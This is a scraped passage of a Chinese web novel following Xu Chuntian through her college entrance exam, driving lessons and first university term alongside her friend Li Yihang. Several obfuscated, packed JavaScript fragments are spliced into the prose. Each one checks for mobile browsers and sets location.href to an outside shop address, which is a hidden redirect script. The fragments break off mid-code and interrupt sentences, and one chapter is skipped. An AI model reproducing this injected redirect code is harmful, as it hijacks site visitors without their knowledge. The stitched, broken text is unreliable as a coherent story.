d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955188|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个个长得又高又壮。 见他走过来，直接叫住他，“你就是刘威？” 那人眼睛瞪的溜圆，表情很凶，高大壮实的身体，犹如一座山。刘威不过一米七的身高，站在他面前就如同小鸡崽子。 “以后，离我妹妹远一点。但凡再有什么话传出来，我揍你！” “滚吧！” 说完几个人骑着车子就走了！ 刘威靠在墙上，包掉在地上，手一直抖，想捡起包都捡不起来。 许久之后，他才回过神。 周一，刘威没来。 周三，他来了。整了人更加沉默，一直到晚自习，班主任宋老师开了个班会。 他看着一张张年轻的脸，想着班长和他反应的事，还有高老师说刘威受到威胁吓病了。原本不想插手班级流言的他，今天必须说一说这件事。“同学们， 最近，班上有一些关于男女同学关系的传言和议论。今天，我想和大家认真地聊一聊这件事。 首先，我想说，进入青春期，对异性产生好感，是一种非常自然、正常的情感萌动。这说明你们在成长，开始学习认识自己、认识他人。这份情感本身是美好的、纯粹的…… “然而，我们必须要分清两个重要的界限： 第一，好感与“恋爱”是两回事。…… 第二，正常交往与“流言”是两回事。男女生之间健康的友谊、必要的交流与合作，是我们班级生活中积极的一部分。但当我们用猜测、起哄甚至编造故事的方式去关注、去放大某些正常的互动时，这份“关注”就变了味…… 流言的背后，往往是好奇，但好奇之外，我们更应该学会的是：尊重与修养…… 作为班主任，我最关心的不是“谁和谁怎么了”，我只想告诉你们，从生物学角度，找的对象距离越远，一般来说亲缘关系就越远，基因差异越大，生出来的孩子聪明漂亮的概率就大。 把目光放得更长远一些，上了大学再找嘛！一个小小的中金县城，能挑的太少了？更何况我们一个小小的班？……” 下了晚自习，徐春天几个人心情大好。 “咱班主任可真有意思，还从生物学角度，哈哈” “那不就是亲近结婚和杂交优势？” 徐春天知道，这件事的成功，源自于大家的团结，还有刘威的自我怀疑。不管他最初胡乱说话的目的是什么，想必从此以后，至少高中这三年，他肯定会管好自己的嘴。 “这次多亏了陈一帆和李亦航，特别是他们找的那几个体育生，据说他们都没动手，就放了几句狠话，刘威就吓病了！” 徐春天笑了笑，“是啊，大多数人，都是欺软怕硬。” 就像这次刘威造谣高姗，高姗没有证据，也无法找刘威算账。但如果对方说了什么，那就把话甩回去，用造谣对付造谣，用彼之道还之彼身。他为什么选择高姗，不就是看着她好欺负嘛！ 所以，人啊，想要活的痛快，一定要自己强大起来。 高姗恢复了往日的快乐，经过此事，她眼神里少了份天真，多了份坚毅。见到徐春天，她递给徐春天一个纸条，“春天，我记得你开网店每次发货很麻烦。我姨家哥哥干物流了，这是他的电话。你要是有发货就找他吧。我哥说了，无论一个月发多少件，他都给你按最低价，还会让快递员上门收件。” 40. 估分填报 时光荏苒，转眼间已是2006年，徐春天即将迎来高考。 过去的高中生活，徐春天几乎像苦行僧一样，在学习上全力以赴。 全新的生活，已经让她忘却了上辈子的阴郁。在学校里她有很多朋友，在家里父母都忙着挣钱，早就扭转了观念。春河春雨都以姐姐为榜样，学习劲头十足。 家里的生意基本上都交给周晶晶负责，规模和人员没有变化。新宅子里的小商店也开了起来。店里徐大龙守着。店门口放了桌椅，夏天就撑起遮阳棚，冬天就用塑料布罩一个暖房。 徐爷爷和金奶奶没事就坐在这晒太阳，村里老人们也都爱上这来。 网店的生意一年比一年好做，徐春天春节后专门找了她另一个表姐负责网店。自从高姗介绍了快递公司，给徐春天带来很大便利，且与之合作的愉快。 日子一天又一天，终于到了一年一度的高考。徐春天紧张又激动，等真的去了考场，她的内心反而平静了。 辛苦了这么久，好好考试，就是对自己最好的交代。 县一中食堂宣布高考三天食堂吃饭免费，不过徐春天不打算去吃。学校食堂的饭真的不太好吃。 虽然高考很重要，但徐春天拒绝了家里来人，一切如常就好。她习惯了自己做饭，做饭的时候顺便放空下大脑，一点也不觉得累。 三天时间，很快过去。考完当天，大家伙简单的聚餐。因为她们现在的报考志愿属于估分填报。 具体来说就是高考完自己预估分数，根据这个分数填报志愿，然后等待成绩和分数线。 这简直太考验人了。总会有许多人因为预估错误填报留下遗憾。 吃饭期间，大家自然而然谈到估分和想报考的院校。 “我想去南方，靠义乌近一点，”徐春天说，“对于义乌商品城，我很感兴趣。而且，我在网上看到，那边的产品更新很快。” 她家目前的产品发展受限，而且单件太小了，对技术也有要求，缝纫机前坐久了，腿疼眼睛也难受。 所以，她想着换个产品。 再就是她的袜子是从哪里进货，基本大家都知道了。也就是目前她的进货量更大，价格上有利润空间。这利润空间说不定哪天就没了，徐春天已经感受到了危机。 “我估分成绩和平时差不多，”程颜平时文文静静，说话也比较谨慎。“我打算报考省内。” 其实，家里人已经给她规划好了毕业后的就业方向，不过有些话，不适合对外说。 李亦航打算去锦市，“我想学的专业，是那一所学校的王牌专业。” 陈一帆和谭玉都想报考省内。她俩相对保守，怕自己估分不准确没敢报更好的院校。 “到了大学，也要记得联系！” “我听说，等录取结果出来后，大家可以在论坛上找找，会有新生发帖子，问学校的情况，也有在校生给回复，咱们可以提前去看看。” 听徐春天这样说，其他人纷纷同意。不过他们中有手机的并不多，只有徐春天和李亦航。 “这样吧，咱班女生要是有需要，用我的电脑。” 虽然去网吧也可以，但对女生来说，去网吧还是不习惯，而且总觉得不够安全。 “我看行！” 谭玉第一个赞同。能提前在网上了解下更好。 男生那边依然是不用操心。大家考完，好多当天就去网吧打游戏了。 “放假后，你们打算干啥？” 谭玉拖着下巴：“我估计是回家带着，享受这个漫长快乐的暑假。” 程颜点点头，“我也是。” 徐春天笑了笑，“我打算学驾照！” 学习驾校，是她计划内的事。她打算让徐大龙和周晶晶也一起报名学。如果人多，驾校不仅有优惠，她们还可以多人用一台车和教练，时按照他们的来。 徐春天已经满了十八岁，暑假学出来，可以给家里买辆面包车开。 “我也想学，人多是不是可以优惠？” 李亦航看向徐春天，“我本来是打算放假了去我爸妈那。不过去那边也是我自己去学。” “不仅有优惠，我们人多一点，可以大家一起包车，我听说，包车就类似于小班教学。正常学车，分组后就是有空你就去，去了大家一个个来练车，人很多，一天能轮到一两把就不错了。” “包车的好处就是我们可以连续练。我爸会开拖拉机，会骑摩托车，都是自己学的。他说很简单，多练，练熟了就行。” 谈到这个话题，徐春天就有很多想说的。 “那好啊，你们啥时候报名叫上我。” “春天，我回家问问爸妈。”这是程颜。 学驾照费用可不便宜。谭玉陈一帆虽然也想，但总归是经济上没那么大自主权。 哎，有钱就是好啊！ 报完志愿，徐春天她们就已经在驾校报名高考成绩出来的时候，她们已经考完科目一开始练车。 几个人平时都算学习比较扎实，预估分数与实际相差不大。比如谭玉和陈一帆，两人实际分数更好，填报志愿的确是保守了。 程颜运气最好，高考超常发挥，考出了高中三年最高的成绩，报考的院校妥妥能录取。 徐春天和李亦航的成绩与估分基本接近，实际上非常亮眼，在全县能排前五。即便是徐春天报考的院校分很高，她也是稳妥有学上。 大徐村都沸腾了。 谁也没想到，徐春天竟然考上了重点大学！许多人对她的印象，还停留在休学摆摊攒学费。大集上生意红红火火，连带着在村里搞了个小作坊，还开了小卖铺。 那一年她很高调。不过自从她返回学校后，整个人就几乎没了消息。大家在村里也很少看到她的身影。 有孩子上高中的人家隐约知道，徐春天成绩很好，学习也刻苦。但大家都没想过，她能考这么好。 人们茶余饭后就会说起徐春天，也让孩子好好学习。而此时的徐春天，正在被教练训。 “你可看好喽，就这个点，着嘛急啊……哎哎哎，慢点慢点！” 也不知道怎么回事，徐春天开车特快。她胆子大，非常敢开，就是开起来，速度刹不住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962862|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸好她们是组团学，虽然多花了点钱，但几人可以连续练车，有考试机会就约上，科目二科目三都一次通过。 等所有考试都过关，李亦航拿着新出炉的驾照去了爸妈家。徐春天退了房子，用新买的二手面包车把物品拉回去。 她顺带拉回去三台电脑，这里面包括她之前的那台。网店发展的很快，业务量猛增。徐春天肯定是非常好看，她打算趁着假期扩大规模，招新人培训她们独立掌握业务。 她注册的商标早就下来了，满了十八岁以后，她还想办法注册了公司。同时根据实际情况和员工的意愿，为员工缴纳了三险。像她们这么小的企业，规模才十来个人，缴纳三险已经是很少了。这时候县城里大多数企业交三险就不错。 徐春天跟员工说：“大家好好干，能明年争取咱们也缴纳五险一金。”这时候县城里就体制内缴纳的最全，不过他们虽然稳定，但工资低。 小卖铺所在的宅院里，又多出了一个网店办公室。新招了三个年轻人，当初没考上高中就出去打工了。小时候大家一起玩，长大了有的上学，有的工作，彼此也没有断了联系。 徐春天招人的时候，最先联系了她们。毕竟外出打工，她们见识了外面城市的繁华，自己手里有钱，也都买了手机。网吧电脑网络等对于她们而言，不算陌生。 几个人都是女孩子，在外面家里毕竟不放心。当得知徐春天想让她们在村里干，家长们觉得，就是工资低点也行啊。 但实际上，徐春天给出的工资并不低，有底薪和提成。关键是工作真不累，并不是流水线体力活，也不用直接面对形形色色的人。缺点嘛也很明显，村里的生活太枯燥了，根本没啥娱乐设施。想看电影想逛街，都必须去县里。 “等你们熟练了，以后可以自己开网店。我真的很看好。” “至于想去县里玩，每天咱要发的货都要送县城，你们可以轮流跟着去。别耽误工作就行。” 等徐春天搞定这些事，她也要去学校了。 九月的天气尚有夏日的温度，学校空气里都是崭新的味道。求是路上梧桐叶还绿得发亮，“欢迎新同学”的横幅已经挂满枝头。拖着行李箱的年轻人从五湖四海涌来，脸庞稚嫩，眼睛亮晶晶的，好奇地打量这个即将生活四年的园子——湖上的波光、图书馆台阶上洒下的阳光，一切都陌生得令人心跳加速。 到处是忙碌的声响：行李箱轮子碾过柏油路的咕噜声，志愿者学长学姐举着院系牌的吆喝声…… 徐春天觉得一切都那么新鲜。她跟着学姐去到宿舍，安置好后自己去校园漫步。食堂楼很大，两侧是南北食堂，中间南北东西贯通，里面还开了许多店铺，比如文具店，奶茶店等等。她随意走进一家奶茶店，柜台后的小哥看起来格外年轻，大概是兼职的学生。 “美女，你想喝什么？” 旁边可以调节高低可以旋转的座椅上，坐着一个身穿休闲服的男生。他转过身来，看到徐春天，眼前一亮，笑起来整个人清爽又鲜活，很像林志颖。 “美女，你长得很像我前女友哦。” 41. 关于爱情 那人鞋子是阿迪的，衣服裤子看起来价格不菲，一张脸也的确能看。徐春天挑眉，如此俗套的搭讪，她不喜欢。 这人，大概对自己有点过分自信。 见徐春天只考了他一眼，没有理会，他自顾自的说：“不过，她死了！” 徐春天心里的火腾下起来了。这人是有什么大病吧，这话，吉利嘛？ “如果是真的，你前女友真可怜，眼光还不太行。” 徐春天蔑视的看了他一眼，随即对着目瞪口呆的店员说：“一杯青苹果味的珍珠奶茶。” “哎，你……” “小哥，她这杯，我请了。” 徐春天才不稀罕，刚想拒绝，就感觉身边多了一个人，声音熟悉，“不用，她还不缺这点钱当然也不缺请喝奶茶的人。” “小哥，再来一杯青苹果味奶茶。” 徐春天抬头，就看到一张笑意盈盈的脸。以前天天见，也没觉得有多么好看。此刻与那人对比，竟然帅气清爽的很。一双标准的丹凤眼，内双，眼尾微微上扬，笑起来，那双眼睛明亮，温柔。 “你……” “我看你进来有一会儿，就来找你了。” 他眼里只有徐春天，直接忽视了坐着的那人。声音里带着一点点委屈， “我等的着急。” 徐春天以前可没觉得他还有演戏天分。“嗯，有人说我长得像他死去的前女友。” “死者为大，人都死了还被拿出来说三道四。说话的人太没品了。” 俩人言语默契，明显熟悉的很。那人默不作声，柜台里的小哥忍住笑，快速做好两杯奶茶，“奶茶做好了。” 李亦航付钱，拿起奶茶，插好吸管递给徐春天，两人一起离开。 “哈哈，李亦航，你没看到刚才那人的脸色！说真的，要不是你突然出现，我都准备骂他一顿！” 两人走在路上，徐春天笑得轻快。 “哎，李亦航，你怎么来我学校了？” 李亦航微笑，“你猜？” 还不等徐春天说话，他赶紧自己解释：“你忘了吗？我们学校新校区就在这个市。” 他眼睛里亮亮的，“所以，以后我们就在同一个城市上学喽。” 徐春天也很高兴。“是呢，这可太好了。听学姐说我们学校有个后山，还有湖，可漂亮了。我带你去看看。” 虽然她也是第一次看。 但李亦航似乎有点认识路。两人溜溜哒哒，说说笑笑，站在湖边，看着湖水波光粼粼，景色美不胜收。 “饿了吗？我听说你们学校外有条美食街，咱们去尝尝如何？” “我请你！”徐春天还真饿了。 此后就是开学军训然后上课。徐春天的舍友都很好，大家相处的愉快。课余时间，她会和舍友去逛街，李亦航还会找她去爬山。 两人都不太喜欢人造的景点，反而喜欢偏向大自然的，登山路上，花草树木皆是景。徐春天发现，高中时期李亦航挺沉默的，现在俩人相处多了，没想到还挺有共同话题。 秋高云淡，山中红叶飘飘，层林尽染。随处可见的黄色菊花迎风绽放。水流顺着河道而下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967625|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，清澈的水里，可见河底的多彩的石头，快乐的游鱼。 徐春天坐在一块光滑的巨大石头上，俯瞰山下。李亦航取出水，拧开递给她，又拿出切好的水果和零食。放在石头上。 他挨着徐春天坐着，“感觉山里的时间，都变慢了。” “是啊。” “李亦航，我还记得第一次见你，陈一帆介绍的，那时候你不爱说话。我还以为你很高冷呢。” 听徐春天这样说，李亦航笑了。“你还觉得我高冷？你不知道，班里男生在你面前，都没几个活跃的，也就陈一帆爱说，活泼。” 徐春天根本不知道，她到底有多好看。在青春懵懂的年纪，她有着让人无法忽视的美。 但是她太厉害了，休学一年的成绩那么好，这让许多人感到自己的废物。在学校里学一年，还比不上人家自学的。 而且她还自己挣钱，自己买了手机和电脑，攒够了高中到大学的学费。 大家陆陆续续听过她许多传闻，除了最开始一眼假的流言，剩下的可信度极高，比如她赶集摆摊生意红火，点子多，每集上都是卖的最好的。 她敢和婶子辈分的人，当街对骂，打架，甚至最后还赢了。这大概是任何一个十七八岁的女孩，不太能做到的。毕竟脸皮薄嘛。 周围很安静，李亦航闻到徐春天身上熟悉的淡淡甜香，清甜草莓味。他心里压抑的冲动，好像找到了一个出口。 “其实，我第一次见你，并不是那次，而是在药店。” 徐春天不记得，“药店？我怎么没有印象？” 43. 哪里渣了 徐春天转身，就看一张有点冷酷的脸，穿着朴素。大概是有点紧张，他直接把手里的笔记本摊开，上面写着姓名电话还有□□号。 “我有真有事和你说。” “好啊。” “不介意我撕下来吧？” 男生冷酷的脸上多了份欣喜，他直接撕拉把那页纸撕下来，塞给徐春天。 “一定要加我啊。” 说完就快速离开了。 李亦航顺手接过徐春天的包，看着她打开手机，把手机号码录入，然后又提交了□□好友申请。 “你的包。” 李亦航看她操作的差不多，就把包塞徐春天手里，顺手把纸条拿过来塞口袋里。 一套动作如行云流水，徐春天正低着头毫无察觉。但是周北方把李亦航的动作看在眼里。 他就说嘛，李亦航装的一幅云淡风轻，心里指不定多么想打人呢。 一行人走出大礼堂，直接去了餐厅。 “徐同学，我们这个餐厅二楼有小炒。价格实惠还好吃。” 说这话，四个人进了餐厅，正打算上二楼呢，就遇到了熟人。 “航哥，小北！” 徐春天就看到三个男生呼啦啦跑过来，眼神打量着她，然后看向李亦航。 “同学来了？” 李亦航有一瞬间的诧异，随即赶紧介绍：“春天，这是我舍友。” “这是我高中同学，徐春天，她在隔壁大学。” 一个娃娃脸的男生赶紧说：“美女你好，我是航哥的上铺，李昊。” “我是……” “还有我呢……” 其他两个也赶紧介绍自己，李亦航嫌弃的很，“行了，我们要去吃饭了。” “我们也是来吃饭的啊。你们去几楼？大家一块吃，热闹热闹嘛！” 李昊早就看出李亦航的心思，不就是怕他们打扰了美女，哼，他们偏要去。 “哎，我同学第一次来，你们……” 徐春天扯了扯李亦航的衣服，“一起去吧，人多热闹，正好让我了解下你在学校的糗事，啊不，是情况。” 李昊他们对视了下，随即跟上，“航哥的糗事，啊不，是情况那可太多了，就我们最熟。” 四人行很快就变成了七个人。李亦航宿舍有六个人，现在已经有五个了。他就让周北方把最后一个舍友叫上。 周北方打完电话，　“他和女朋友正巧就在南面二楼呢，马上过来。” 李亦航自我安慰，这样也好，再来个女生还能和徐春天做个伴，不然只她一个女生也有点尴尬。 很快一桌人就齐了。 舍友的女朋友叫宋畅，本校的，性格活泼，和李亦航他们都挺熟，包括周北方的同学。一桌子人就只有徐春天，和大家伙不太熟。 其他人也挺照顾她，虽然对徐春天充满了好奇，但都略懂分寸。 大家聊的很愉快，宋畅知道徐春天还卖头饰后，特意看了她手机里的图。 “好漂亮啊，这些都是自己做的吗？” “是的。其实发圈做起来麻烦点，需要缝纫机。发夹是可以自己DIY的。”如今韩剧很火，宋畅打扮的就有点偏韩风。身上糖果色元素挺多，搭配也看出用了心思。 听到DIY，宋畅赶紧拒绝，“我可不行，我是个手残党，十字绣都不敢选三个色以上的图。” 宋畅的性格有点像谭玉。 “你要是喜欢，下次我带些来。”徐春天看着她，“到时候你顺便帮我宣传宣传。” 徐春天自己在学校里也卖头饰袜子等。她有意拓展业务，若是能发展下宋畅，当然是非常好。不过今天是大家第一次见面，她不好直接说。 李亦航看她与自己的舍友女朋友相谈甚欢，笑的开心，自己看的投入，没发现其他舍友的小眼神。 徐春天下午有课，吃完饭李亦航就送她离开了。等他再次回到宿舍，着实让舍友们一顿调侃。 “航哥，怪不得你一直藏着，徐同学是真美女啊。” “我们航哥也帅啊，其实俩人男帅女美，很般配。” 李昊凑过来，“航哥，你可别放弃。我看徐同学人真不错。独立自信，说话也让人听得舒服。学校里追求的人挺多吧，你可看紧点。” “谁说不是呢？”周北方知道的最多，“讲座结束，就有男生直接给徐同学塞联系方式。航哥，你加了没？打探下那小子啥情况。” 李亦航自然是加了，他还问督促徐春天给对方打了电话。 看得出，对方叫林默，人如其名，很沉默，有点社恐，塞纸条给徐春天已经是豁出去了。电话里他说自己好友通过了，想说的话都发□□了。 然后徐春天登录□□，才得知对方听到她与李亦航的对话，猜出她是筹办毛绒玩具生产设计。 林默说自己就是学设计的，也有这方面的想法。他想与徐春天合作，他负责设计。 对于自己的设计作品，他还是很慎重。林默只是有点社恐，脑子很聪明。他提到版权，还有利益分成等，这方面他都有自己的想法。 最后徐春天拉了一个群，目前群里就只有徐春天、李亦航和林默。大家约定下次见面的时间，林默会把自己设计的玩偶作品带给他们看。 这些事李亦航并没有说的很详细，只是一句话带过。他的舍友们见到徐春天后，再也不背后嘀咕李亦航啥，同学吊着他，天涯何处无芳草之类的话了。 他们一桌人都看出来了，李亦航的眼神黏糊糊，一刻也不离徐春天，情根深种难以自拔了。 而徐春天就坦荡了许多，她很熟悉也习惯了李亦航的存在，眼神没有那么粘糊。但据宋畅男朋友转述，徐春天对李亦航那必然是很有好感，只是她本人对这方面比较迟钝。 简单来说，就是在她心里，感情不是第一位，而且，她也不愿意多花时间在感情上。她并不是不喜欢李亦航，只是内心里觉得谈感情风险高，也麻烦。所以更愿意停留在朋友阶段。 整顿饭吃下来，徐春天只是和其他男生礼貌的交谈，并没有给多余的眼神和话题。而她与宋交流起来，则是主动热情放松了许多。 她更喜欢和同性相处，不太愿意和异□□流， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979231|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而李亦航，是个例外。 反正经过这些局外人一分析，那就是李亦航还是很有希望。 唉，这些道理李亦航怎么会想不明白。他最是了解徐春天了。徐春天直率坦荡，对他坦诚。反倒是他自己，心思从来都不清白。 他对徐春天有好感，在高中班里从来没有掩饰过。高三有段时间班里谈恋爱的特别多，不是没人追求徐春天，只是有心思的人，都让他给摁下去了。 林默人虽然社恐，但他很有想法，设计的玩偶漂亮新颖，让人看到图就恨不得立马拥有个成品。 有了独立设计，徐春天已经和周晶晶商量好，先试着生产出一部分，小范围试一下市场的反应。 转型之事终于有了新进展，徐春天才发现快放寒假了，时间过得真快。 □□群里，谭玉和陈一帆活跃极了，她们都在省内，嚷嚷着当地太冷了，要来找徐春天和李亦航玩。 毕竟学生票便宜些，趁着有同学在，还能参观校园，甚至蹭一下住宿。 徐春天当然是热烈欢迎。李亦航还给他们规划好了游玩路线，放话一定会让他们玩的尽兴。 约定的时间很快就到了，李亦航与徐春天提前去车站等人。该说不说，这个时候车站人还挺多的。 “春天！” “啊，谭玉，程颜！” 三个人才几个月没见，却觉得大家都变化好多，激动的拥抱在一起。陈一帆落在后面，给了李亦航一拳，“兄弟，你啊，当初把我都骗了。追上了嘛？” 李亦航赶紧捂住他的嘴，“少废话！” “走啊，先把行李放下去。” 住宿的地方就在徐春天学校旁边，是自家连锁酒店，放假还不算很贵。李亦航订了两个房间，男生一间，女生一间。 陈一帆进了酒店，得知房价有点心疼，“哎呀，真贵啊，兄弟我去你宿舍打地铺也行啊。听说你们学校篮球队挺厉害，我还想去看看呢。” “陈一帆，以前怎么没觉得你话这么多？” “你就是住桥洞子，这边的天气暖和，也冻不死你。让你住酒店，是当保镖的！” 陈一帆看了看谭玉和程颜，“她俩？比我可凶多了。” 嘴上这样吐槽，身体却很诚实，乖乖的帮忙提行李，然后进了房间。 “还是两张床呢？航哥，晚上别回学校了，在这陪我聊聊呗。” 李亦航看出陈一帆今天过分活跃，“咋了？失恋了？” 陈一帆高中毕业时就和他女朋友表白，俩人甜蜜了一个暑假。大学也在同一个城市，不至于啊。 陈一帆皱眉，叹了口气。“没失恋，就是吵架了。” “她知道我要来这，同行的还有谭玉和程颜，就很介意。可她时间不合适又来不了。” “都说好了，我总不能让俩女生自己来。再说，咱们几个玩的好，她知道啊。高中的时候都不介意，现在怎么就突然介意了呢？” 陈一帆觉得自己问心无愧，可和女朋友吵架，总归心里烦。 他抓了抓头发，“她还说我是渣男！你觉得我哪里渣了？”